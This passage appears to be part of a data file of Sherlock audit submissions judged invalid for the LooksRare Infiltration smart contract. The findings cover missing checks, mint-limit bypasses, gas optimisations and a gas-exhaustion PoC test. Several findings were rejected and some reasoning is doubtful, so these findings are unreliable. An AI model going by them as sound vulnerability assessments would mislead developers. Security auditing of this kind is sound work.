herlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1574\n\n- uint32\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1298\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1299\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1262\n\n- uint40\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L1308\n\n- uint56\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L689\n\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is strongly recommended to perform explicit checks before casting to ensure that the value being cast does not exceed the range of the target type. This can be achieved by using conditionals or assertive functions to verify the safety of the value before performing the cast. Alternatively, SafeMath libraries or the latest Solidity compiler with built-in overflow checks should be used to prevent such issues.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/115.md"}} +{"title":"Missing zero address check for 'to' address","severity":"info","body":"Calm Leather Opossum\n\nhigh\n\n# Missing zero address check for 'to' address\n## Summary\nUpon manual review of the `premint` function in the smart contract, it was found that the function is a missing validation check for the zero address, which is a common best practice in smart contract development to prevent tokens from being minted to an address that cannot participate in the network.\n[https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L449](url)\n## Vulnerability Detail\nThe function lacks a check to prevent minting to the zero address (`address(0)`). This could lead to a situation where tokens are minted to an unusable address, effectively locking them and reducing the circulating supply in a way that is not recoverable.\n## Impact\nIf tokens are minted to the zero address, those tokens are permanently lost and reduce the total circulating supply of the token.\n## Code Snippet\n**Original function**\n```solidity\nfunction premint(address to, uint256 quantity) external payable onlyOwner {\n if (quantity * PRICE != msg.value) {\n revert InsufficientNativeTokensSupplied();\n }\n\n if (totalSupply() + quantity > MAX_SUPPLY) {\n revert ExceededTotalSupply();\n }\n\n if (gameInfo.currentRoundId != 0) {\n revert GameAlreadyBegun();\n }\n\n _mintERC2309(to, quantity);\n}\n\n```\n**Optimized code:**\n```solidity\nfunction premint(address to, uint256 quantity) external payable onlyOwner {\n require(to != address(0), \"Cannot mint to zero address\");\n require(quantity * PRICE == msg.value, \"Insufficient native tokens supplied\");\n\n if (totalSupply() + quantity > MAX_SUPPLY) {\n revert ExceededTotalSupply();\n }\n\n if (gameInfo.currentRoundId != 0) {\n revert GameAlreadyBegun();\n }\n\n _mintERC2309(to, quantity);\n}\n```\n## Tool used\nManual Review\n\n## Recommendation\n```solidity\nrequire(to != address(0), \"Cannot mint to zero address\");\n```\n\nAdding this line will prevent the function from executing if the `to` address is the zero address, thus preventing the accidental burning of tokens.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/114.md"}} +{"title":"It's possible to start a game with zero funds and zero rewards.","severity":"info","body":"Narrow Cornflower Chimpanzee\n\nmedium\n\n# It's possible to start a game with zero funds and zero rewards.\n## Summary\n\nIt's possible to start a game with zero funds and zero rewards.\n\nThere are no checks that would disallow starting a round/game with zero funds.\n\n## Vulnerability Detail\n\nInfiltration::`startGame()` at L521 calls method `_transferETHAndWrapIfFailWithGasLimit()` which doesnt have any checks for zero values as can be seen from below code snippet:\n\nLowLevelWETH::`_transferETHAndWrapIfFailWithGasLimit()`, see my @audit tags below:\n```solidity\n function _transferETHAndWrapIfFailWithGasLimit(\n address _WETH,\n address _to,\n uint256 _amount,\n uint256 _gasLimit\n ) internal {\n bool status;\n\n assembly {\n status := call(_gasLimit, _to, _amount, 0, 0, 0, 0) /// @audit this can send zero `_amount` and still be successful\n }\n\n if (!status) {\n IWETH(_WETH).deposit{value: _amount}(); /// @audit will be able to deposit zero value successfully/wraps zero ETH into zero WETH...\n IWETH(_WETH).transfer(_to, _amount); /// @audit totally possible to deposit and transfer zero WETH. This confirms.\n }\n }\n```\n\nThis effectively means that the trusted contract owner can accidentally start a new game without any funds.\n\n## Impact\n\nI have not confirmed yet whether the game will be able to proceed/conclude without any funds. It's likely that it will revert somewhere due to insufficient funds. (I ran out of time to check this.)\n\n- If the game however does manage to finish(unlikely), the players would have spent their funds without any ability to win rewards.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L513-L521\n\n## Tool used\nVSC.\nManual Review\n\n## Recommendation\n\nSince the contract owner is trusted, implementing zero value checks is optional but highly recommended in order to avoid accidental game starts with zero funds. There could be high severity risks involved which I did not have time to check before contest deadline.\n\nAdd a simple check in `startGame()` after L516:\n```solidity\ngameInfo.prizePool = balance - protocolFee;\n```\nAdd this check after above line:\n```solidity\nif (gameInfo.prizePool == 0) revert Error_ZeroValue();\n```\nPut together:\n```diff\n unchecked {\n gameInfo.prizePool = balance - protocolFee; /// @audit is the prizepool emptied/cleared/reset after each game?\n }\n \n+ if (gameInfo.prizePool == 0) revert Error_ZeroValue();\n```\n\nSince I ran out of time to check this, here are some unanswered questions:\n\n- it seems that all existing(totalSupply()) NFTs are entered into each game regardless of whether owner of NFT is participating or not?\n- Is it possible to have players enter/use their NFTs in a game when rewards == 0? If yes, then at least the owner is trusted... So medium risk issue then IF game can conclude with zero funds, because players will not be able to win any rewards...","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/113.md"}} +{"title":"`MAX_MINT_PER_ADDRESS` invariant can be broke","severity":"info","body":"Old Golden Antelope\n\nhigh\n\n# `MAX_MINT_PER_ADDRESS` invariant can be broke\n## Summary\n\nThe `premint` function in the Infiltration.sol contract lacks necessary checks for `MAX_MINT_PER_ADDRESS`, potentially violating the minting limitations established for fair gameplay. Additionally, the function can be invoked at any time before the game starts, which is inconsistent with the intended functionality as documented.\n\n## Vulnerability Detail\n\nThe `premint` function does not enforce the `MAX_MINT_PER_ADDRESS` limit which exists in the regular `mint` function. This oversight allows for an unlimited amount of tokens to be preminted for an address, which can break the game's fairness as the invariant of `MAX_MINT_PER_ADDRESS` is not respected. Furthermore, the function lacks a timestamp check to ensure it is called only after the minting period ends, thus allowing premature execution that can disrupt the game start.\n\n## Impact\n\nIf exploited, this vulnerability could lead to an unfair advantage for certain players who could bypass the minting limitations, undermining the integrity of the game's economy and the trust of the player base. This may also have financial repercussions if the game involves trading or value associated with the minted items.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L445-L463\n\n```solidity\n/*\n* @inheritdoc IInfiltration\n* @notice As long as the game has not started (after mint end), the owner can still mint.\n*/\nfunction premint(address to, uint256 quantity) external payable onlyOwner {\n if (quantity * PRICE != msg.value) {\n revert InsufficientNativeTokensSupplied();\n }\n\n if (totalSupply() + quantity > MAX_SUPPLY) {\n revert ExceededTotalSupply();\n }\n\n if (gameInfo.currentRoundId != 0) {\n revert GameAlreadyBegun();\n }\n\n _mintERC2309(to, quantity);\n}\n```\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/881e75651d6592892f10a99f57d2862cf0df65f5/contracts-infiltration/contracts/Infiltration.sol#L465-L492\n```solidity\n/**\n* @inheritdoc IInfiltration\n*/\nfunction mint(uint256 quantity) external payable nonReentrant {\n if (block.timestamp < mintStart || block.timestamp > mintEnd) {\n revert NotInMintPeriod();\n }\n\n if (gameInfo.currentRoundId != 0) {\n revert GameAlreadyBegun();\n }\n\n uint256 amountMinted = amountMintedPerAddress[msg.sender] + quantity;\n if (amountMinted > MAX_MINT_PER_ADDRESS) {\n revert TooManyMinted();\n }\n\n if (quantity * PRICE != msg.value) {\n revert InsufficientNativeTokensSupplied();\n }\n\n if (totalSupply() + quantity > MAX_SUPPLY) {\n revert ExceededTotalSupply();\n }\n\n amountMintedPerAddress[msg.sender] = amountMinted;\n _mintERC2309(msg.sender, quantity);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to add a check within the `premint` function to enforce the `MAX_MINT_PER_ADDRESS` limit. This check should mimic the one present in the `mint` function to maintain consistency and ensure fairness. Moreover, a timestamp condition should be introduced to confirm that `premint` can only be called after `mintEnd`. Implementing these checks will align the function's behavior with its intended use as specified in the documentation.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/112.md"}} +{"title":"Agent tokens can be minted for free","severity":"info","body":"Attractive Cider Oyster\n\nmedium\n\n# Agent tokens can be minted for free\n## Summary\n\nMistakenly, `PRICE` can be set to `0`, which will make mints free and agents will be minted for free.\n\n## Vulnerability Detail\n\nIn the `Infiltration.sol`, the functions `premint` and `mint` are defined. These 2 functions are problematic since in the `constructor` there is no check for the value of `constructorCalldata.price` and `PRICE` is set to `constructorCalldata.price`:\n\n```solidity\nPRICE = constructorCalldata.price;\n```\n\nThis means that during contract deployment, `PRICE` can be set to `0` by mistake. Since `PRICE` is `immutable`:\n\n```solidity\nuint256 public immutable PRICE;\n```\n\nits value cannot be changed after the constructor is run, so the mistake of setting `PRICE` to `0` cannot be fixed without redeploying the whole contract to a new address.\n\nIf, by mistake, `PRICE == 0`, then, in the functions `premint` and `mint`, tokens can be minted without depositing any `ETH` into the `Infiltration` contract, which means agents can be minted without depositing any `ETH`. This totally breaks the whole game, `ETH` prize pools will be empty and users will not be incentivized to play the game. \n\n## Impact\n\nIn `premint` and `mint` functions agents will be minted for free. As a result, the whole game logic will be flawed as it heavily depends on `ETH` being deposited into the contract. Users will not be incentivized to play the game.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L345-L397\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L468-L492\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L449-L463\n\n## Tool used\n\nManual Review\n\n## Recommendation\nEnsure that `PRICE` is not set to `0` in the constructor. A possible fix may be to use a `require` statement in the constructor to ensure that `constructorCalldata.price != 0`:\n\n```solidity\nconstructor(\n ConstructorCalldata memory constructorCalldata\n )\n OwnableTwoSteps(constructorCalldata.owner)\n ERC721A(constructorCalldata.name, constructorCalldata.symbol)\n VRFConsumerBaseV2(constructorCalldata.vrfCoordinator)\n {\n>>> require(constructorCalldata.price != 0, \"Minting price should not be 0\"); <<<\n \n if (\n constructorCalldata.maxSupply <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS ||\n constructorCalldata.maxSupply > type(uint16).max\n ) {\n revert InvalidMaxSupply();\n }\n\n if (\n (constructorCalldata.maxSupply * constructorCalldata.agentsToWoundPerRoundInBasisPoints) >\n MAXIMUM_HEALING_OR_WOUNDED_AGENTS_PER_ROUND * ONE_HUNDRED_PERCENT_IN_BASIS_POINTS\n ) {\n revert WoundedAgentIdsPerRoundExceeded();\n }\n\n if (constructorCalldata.roundsToBeWoundedBeforeDead < 3) {\n revert RoundsToBeWoundedBeforeDeadTooLow();\n }\n\n PRICE = constructorCalldata.price;\n MAX_SUPPLY = constructorCalldata.maxSupply;\n MAX_MINT_PER_ADDRESS = constructorCalldata.maxMintPerAddress;\n BLOCKS_PER_ROUND = constructorCalldata.blocksPerRound;\n AGENTS_TO_WOUND_PER_ROUND_IN_BASIS_POINTS = constructorCalldata.agentsToWoundPerRoundInBasisPoints;\n ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD = constructorCalldata.roundsToBeWoundedBeforeDead;\n\n // The next 2 values are used in healProbability\n ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE = ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD.unsafeSubtract(1);\n HEAL_PROBABILITY_MINUEND =\n ((ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD * 99 - 80) * PROBABILITY_PRECISION) /\n ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE;\n\n LOOKS = constructorCalldata.looks;\n HEAL_BASE_COST = constructorCalldata.healBaseCost;\n\n KEY_HASH = constructorCalldata.keyHash;\n VRF_COORDINATOR = VRFCoordinatorV2Interface(constructorCalldata.vrfCoordinator);\n SUBSCRIPTION_ID = constructorCalldata.subscriptionId;\n\n TRANSFER_MANAGER = ITransferManager(constructorCalldata.transferManager);\n WETH = constructorCalldata.weth;\n\n baseURI = constructorCalldata.baseURI;\n\n _updateProtocolFeeRecipient(constructorCalldata.protocolFeeRecipient);\n _updateProtocolFeeBp(constructorCalldata.protocolFeeBp);\n }\n```\n\nThe inserted line is marked with `>>>` at the beginning of the line and with `<<<` at the end of the line.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/111.md"}} +{"title":"setMintPeriod Function can be more optimized","severity":"info","body":"Calm Leather Opossum\n\nmedium\n\n# setMintPeriod Function can be more optimized\n## Summary\nCache mintStart and mintEnd in memory at the start of the function to reduce storage reads.\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L416\n\n## Vulnerability Detail\nI've introduced _mintStart and _mintEnd as memory variables to cache the storage values of mintStart and mintEnd.\nI've removed the conditional in the emit statement since the function will revert if newMintStart is invalid, ensuring that the correct values are always emitted.\n## Impact\nThe function can be optimized to save more gas.\n\n## Code Snippet\n```solidity\nfunction setMintPeriod(uint40 newMintStart, uint40 newMintEnd) external onlyOwner {\n if (newMintStart >= newMintEnd) {\n revert InvalidMintPeriod();\n }\n\n if (newMintStart != 0) {\n if (block.timestamp > newMintStart) {\n revert MintStartIsInThePast();\n }\n\n uint256 currentMintStart = mintStart;\n if (currentMintStart != 0) {\n if (block.timestamp >= currentMintStart) {\n revert MintAlreadyStarted();\n }\n }\n\n mintStart = newMintStart;\n }\n\n if (block.timestamp > newMintEnd || newMintEnd < mintEnd) {\n revert MintCanOnlyBeExtended();\n }\n\n mintEnd = newMintEnd;\n\n emit MintPeriodUpdated(newMintStart == 0 ? mintStart : newMintStart, newMintEnd);\n}\n```\n\nOptimized code:\n```solidity\nfunction setMintPeriod(uint40 newMintStart, uint40 newMintEnd) external onlyOwner {\n // Cache mintStart and mintEnd in memory\n uint40 _mintStart = mintStart;\n uint40 _mintEnd = mintEnd;\n\n if (newMintStart >= newMintEnd) {\n revert InvalidMintPeriod();\n }\n\n if (newMintStart != 0) {\n if (block.timestamp > newMintStart) {\n revert MintStartIsInThePast();\n }\n\n // Use the cached value\n if (_mintStart != 0) {\n if (block.timestamp >= _mintStart) {\n revert MintAlreadyStarted();\n }\n }\n\n // Update the storage value\n mintStart = newMintStart;\n }\n\n // Use the cached value and update the condition\n if (block.timestamp > newMintEnd || newMintEnd < _mintEnd) {\n revert MintCanOnlyBeExtended();\n }\n\n // Update the storage value\n mintEnd = newMintEnd;\n\n // Simplify the event emission\n emit MintPeriodUpdated(newMintStart, newMintEnd);\n}\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nCache mintStart and mintEnd in memory at the start of the function to reduce storage reads.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/110.md"}} +{"title":"setMintPeriod Function can be more optimized","severity":"info","body":"Calm Leather Opossum\n\nmedium\n\n# setMintPeriod Function can be more optimized\n**Original code:**\n```solidity\nfunction setMintPeriod(uint40 newMintStart, uint40 newMintEnd) external onlyOwner {\n if (newMintStart >= newMintEnd) {\n revert InvalidMintPeriod();\n }\n\n if (newMintStart != 0) {\n if (block.timestamp > newMintStart) {\n revert MintStartIsInThePast();\n }\n\n uint256 currentMintStart = mintStart;\n if (currentMintStart != 0) {\n if (block.timestamp >= currentMintStart) {\n revert MintAlreadyStarted();\n }\n }\n\n mintStart = newMintStart;\n }\n\n if (block.timestamp > newMintEnd || newMintEnd < mintEnd) {\n revert MintCanOnlyBeExtended();\n }\n\n mintEnd = newMintEnd;\n\n emit MintPeriodUpdated(newMintStart == 0 ? mintStart : newMintStart, newMintEnd);\n}\n```\n\n**Optimized code:**\n```solidity\nfunction setMintPeriod(uint40 newMintStart, uint40 newMintEnd) external onlyOwner {\n // Cache mintStart and mintEnd in memory\n uint40 _mintStart = mintStart;\n uint40 _mintEnd = mintEnd;\n\n if (newMintStart >= newMintEnd) {\n revert InvalidMintPeriod();\n }\n\n if (newMintStart != 0) {\n if (block.timestamp > newMintStart) {\n revert MintStartIsInThePast();\n }\n\n // Use the cached value\n if (_mintStart != 0) {\n if (block.timestamp >= _mintStart) {\n revert MintAlreadyStarted();\n }\n }\n\n // Update the storage value\n mintStart = newMintStart;\n }\n\n // Use the cached value and update the condition\n if (block.timestamp > newMintEnd || newMintEnd < _mintEnd) {\n revert MintCanOnlyBeExtended();\n }\n\n // Update the storage value\n mintEnd = newMintEnd;\n\n // Simplify the event emission\n emit MintPeriodUpdated(newMintStart, newMintEnd);\n}\n```\n**In the optimized version:**\n\nI've introduced _mintStart and _mintEnd as memory variables to cache the storage values of mintStart and mintEnd.\n\nI've removed the conditional in the emit statement since the function will revert if newMintStart is invalid, ensuring that the correct values are always emitted.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/109.md"}} +{"title":"The agent with index 1 has greater chance to be wounded, because of the calculation","severity":"info","body":"Oblong Yellow Koala\n\nhigh\n\n# The agent with index 1 has greater chance to be wounded, because of the calculation\n## Summary\nThe agent with index 1 has greater chance to be wounded, because of the calculation\n\n## Vulnerability Detail\nThe randomWord can be any number from 0 to uint256(max)\nIn the calculation you are getting the remainder of the RandomWord divided by curentRoundAgentsAlive and then you are adding 1, which leads to greater chance for the agent 1 to be more selected.\nE.g. lets say there are 2 agents left:\nTo be killed the first agent, the random word needs to be any number that is even, which means that can be 0, uint256(max) that there is more numbers that can be selected to be killed the first Agent.\nThis can be at any agents left\nBecause the randomWord can be 0, lead the first agent to have greater chance to be chosen \n\n## Impact\nGreater chance to be killed, or wounded \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1423\n## Tool used\n\nManual Review\n\n## Recommendation\nThe Random Number must not be equal to 0\nThe randomWord should have range from 1 to currentRoundAgentsAlive","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/108.md"}} +{"title":"Infiltration.sol#fulfillRandomWords() - possible out-of-gas error during the callback method, DoS of the entire contract","severity":"info","body":"Tame Rainbow Canary\n\nhigh\n\n# Infiltration.sol#fulfillRandomWords() - possible out-of-gas error during the callback method, DoS of the entire contract\n## Summary\nThe ``fulfillRandomWords()`` function is the callback function that gets invoked from the VRF service when a random value gets returned from Chainlink. When requesting random words, the protocol specifies a gas limit of 2_500_000, which in some quite possible cases would not be enough, leading to a state where no matter how many times randomness gets re-requested(bad practice) the function will always repeat the same circumstances and revert. Thus, the game would be stuck.\n\n## Vulnerability Detail\nWhen there are above 50 players in game and ``fulfillRandomWords()`` gets invoked it follows this path:\n1. Heal the agents that requested healing with the formula.\n2. Wound 0.2% of the agents (the value can vary and will probably be increased)\n3. Kill agents that have been wounded for 48 rounds, 20 in the worst case\n\nAt first it seems that 2_500_000 gas would be enough, even though during healing there's a lot of token transfers. The problem that gets us here is the great amount of storage reads.\n\nBelow I will provide 2 PoC tests, the first one will be as requested by the sponsor when discussing the issue - 0.3% wounded players per round, at the 48th round where we kill 30 players and we heal as many players as possible, 30 healing agents.\nThe second one will be with the current settings - 0.2% wounded players, everything else is the same.\n**A prerequisite to running the tests is to remove ``expectEmitCheckAll();`` from the ``_heal()`` function in ``TestHelpers.sol``, since it tampers with the values in the PoC and is of no help, nor does it amount to the gas report.**\nTest 1:\n```solidity\nfunction test_fulfillRandomWords_GasBad() public {\n _startGameAndDrawOneRound();\n\n _drawXRounds(47);\n\n (uint256[] memory woundedAgentIds1, ) = infiltration.getRoundInfo({roundId: 2});\n _heal({roundId: 47, woundedAgentIds: woundedAgentIds1});\n\n _drawXRounds(1);\n }\n```\nWe start the game and at round 1 we wound 30 players, we skip to round 47 to request a heal for the next round and we heal all the wounded agents from round 2 (because they would still be alive for 2 more rounds) that are about ~29. We jump to round 48 where:\nthe 30 wounded players from round 1 die, we heal the 29 requested agents and wound another 30 agents| \nThe gas report results in ~3_020_000 gas expenditure.\n\nTest 2:\n```solidity\nfunction test_fulfillRandomWords_GasBad() public {\n _startGameAndDrawOneRound();\n\n _drawXRounds(47);\n\n (uint256[] memory woundedAgentIds1, ) = infiltration.getRoundInfo({roundId: 2});\n (uint256[] memory woundedAgentIds2, ) = infiltration.getRoundInfo({roundId: 7});\n \n\n uint[] memory result = new uint[](woundedAgentIds1.length + 11);\n for(uint256 i = 0; i <= woundedAgentIds1.length + 10; i++){\n if(i >= woundedAgentIds1.length){\n result[i] = woundedAgentIds2[i - woundedAgentIds1.length];\n }\n else {\n result[i] = woundedAgentIds1[i];\n }\n }\n \n _heal({roundId: 47, woundedAgentIds: result});\n\n _drawXRounds(1);\n }\n```\nThe same as before, but at round 1 we wound 20 players, at round 47 we request to heal 30 players and at round 48 we:\nkill 20 players, heal 30 players and wound ~18 more players\nThe gas report with the current settings for the game returns ~2_300_000\nThis value does not reach the cap, but is DANGEROUSLY close to it, which means that if between games settings get changed, there is a huge risk of setting parameters that cross the cap (which is what Test 1 proved above)\n\nThe circumstances above could be replicated in case of a player who owns a big amount of agents (the set limit), who gets 20 wounded agents early on and decides to heal other peoples agents alongside letting his get killed.\n\nLast thing to take into account are the ever changing EVM costs, which could go both directions unpredictably.\nBeing this dangerously close and potentially crossing the allowed gas limit is of HIGH severity.\n\n## Impact\nDoS of the game, forcing a redeploy and an emergency withdraw, redistribution of assets, losses in gas expenses, protocol expenses, UX, etc.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1096-L1249\n## Tool used\n\nManual Review\n\n## Recommendation\nThe cap on the gas for the VRF callback should definitely be increased to ATLEAST 3 million. Best case is 3.5 mill.\nThere are multiple gas optimizing methods that can help reduce costs further(since the code heavily relies on Yul operations), some of them being to try and lower storage reads, loop iterator initialization outside of the loop, splitting and taking out functionality from the function to reduce the amount of atomic operations ocurring.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/107.md"}} +{"title":"In setMintPeriod there is no check if the game has began, and can change the end mint period","severity":"info","body":"Oblong Yellow Koala\n\nmedium\n\n# In setMintPeriod there is no check if the game has began, and can change the end mint period\n## Summary\nThere is no check if block.timestamp is greater than the previous mintEnd in setMintPeriod\n## Vulnerability Detail\nWhen the owner wants to change the end Period he must set later date than the previous, but there is no check if the game has began and the gameInfo.currenRound is greater 0. This way if the owner change the mintPeriod when the game has began, anyone can mint new agents before the block.timestamp is greater than the newMintEnd\n## Impact\nAnyone can mint when the game has begun which leads to miscalculation in the prize and there should be anyone that can join in the middle of the game!\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L416-L443\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck if the gameInfo.currenRound is different from 0 ->\nif(gameInfo.currentRoundId != 0){\nrevert GameAlreadyBegun();\n}","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/105.md"}} +{"title":"The input agentIds is never checked","severity":"info","body":"Rare Peach Snail\n\nmedium\n\n# The input agentIds is never checked\n**Summary**\nIn `InfiltrationPeriphery.sol` the value of `agentIds` is never checked. \nVulnerability Detail\n\n**Impact**\nAs it is a part of public and user controlled input you will want to check that the data is as expected to avoid unexpected issues.\n\n**Code Snippet**\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L45C38-L56\n\n**Tool used**\nManual Review\n\n**Recommendation**\nsome `require()` statements that make sure the data validity","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/103.md"}} +{"title":"Funds may remain locked forever in InfiltrationPeriphery contract.","severity":"info","body":"Damaged Maroon Dove\n\nmedium\n\n# Funds may remain locked forever in InfiltrationPeriphery contract.\n## Summary\n`InfiltrationPeriphery` is able to receive ETH but there is no withdrawing functionality.\n\n## Vulnerability Detail\n`InfiltrationPeriphery` contract has `receive()` function which is marked as payable and anyone is able to send ETH to this contract intentionally or by mistake.\n\n## Impact\nSince there is no withdrawing functionality, all funds that are send directly to the contract without the heal function will remain locked forever but cannot withdraw it.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L95\n\n## Tool used\nManual Review\n\n## Recommendation\nImplement withdrawing functionality, so if a user mistakenly sends funds to this contract, they can be withdrawn.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/102.md"}} +{"title":"Didnot check ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE.","severity":"info","body":"Cheery Cinnamon Anteater\n\nfalse\n\n# Didnot check ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE.\n## Summary\n\n## Vulnerability Detail\n\n## Impact\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n\nROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE = ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD.unsafeSubtract(1);\n HEAL_PROBABILITY_MINUEND =\n ((ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD * 99 - 80) * PROBABILITY_PRECISION) /\n ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE;\n\n ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD_MINUS_ONE is never checked it can be 0. \nso it can be reverted. \n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L381","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/100.md"}} +{"title":"Using block.timestamp as the deadline/expiry invites MEV","severity":"info","body":"Witty Clear Chimpanzee\n\nmedium\n\n# Using block.timestamp as the deadline/expiry invites MEV\n---\nname: Using block.timestamp as the deadline/expiry invites MEV\nabout: Using block.timestamp as the deadline/expiry invites MEV\ntitle: \"Using block.timestamp as the deadline/expiry invites MEV\"\nlabels: \"\"\nassignees: \"\"\n---\n\n## Summary\n\nUsing `block.timestamp` as the deadline/expiry invites MEV\n\n## Vulnerability Detail\n\nIn the smart contract, various operations involve specifying `block.timestamp` as the expiry or deadline for a given transaction. While it may be intuitive to assume that using `block.timestamp` in this context implies 'require immediate execution,' it actually means 'whatever block this transaction appears in, I'm comfortable with that block's timestamp.'\n\nThis approach opens the door to potential Miner Extractable Value (MEV) opportunities. Malicious miners can strategically hold a transaction until conditions become most favorable for their own profit. For instance, they might wait for the transaction to incur the maximum allowable slippage, take advantage of slippage parameters, or trigger other actions, such as liquidations, to their advantage.\n\nTo avoid these MEV opportunities, it is crucial to refrain from using `block.timestamp` as the deadline/expiry and instead select timestamps off-chain. Furthermore, allowing the caller to specify timestamps provides greater control and reduces the potential for unnecessary MEV exploitation.\n\n## Impact\n\nThe impact of using `block.timestamp` as the deadline/expiry in transactions is significant:\n\n- Exposure to Miner Extractable Value (MEV), allowing malicious miners to optimize transaction execution for their own gain.\n- Potential financial losses and adverse market conditions caused by strategically delayed transactions.\n- Lack of control and predictability in transaction execution, leading to operational uncertainty.\n\nThese consequences can result in financial losses and undermine the intended functionality of the smart contract.\n\n## Code Snippet\n\nInstances (9):\n- File: contracts/Infiltration.sol\n\n1. Line 422: `if (block.timestamp > newMintStart) {`\n2. Line 428: `if (block.timestamp >= currentMintStart) {`\n3. Line 436: `if (block.timestamp > newMintEnd || newMintEnd < mintEnd) {`\n4. Line 469: `if (block.timestamp < mintStart || 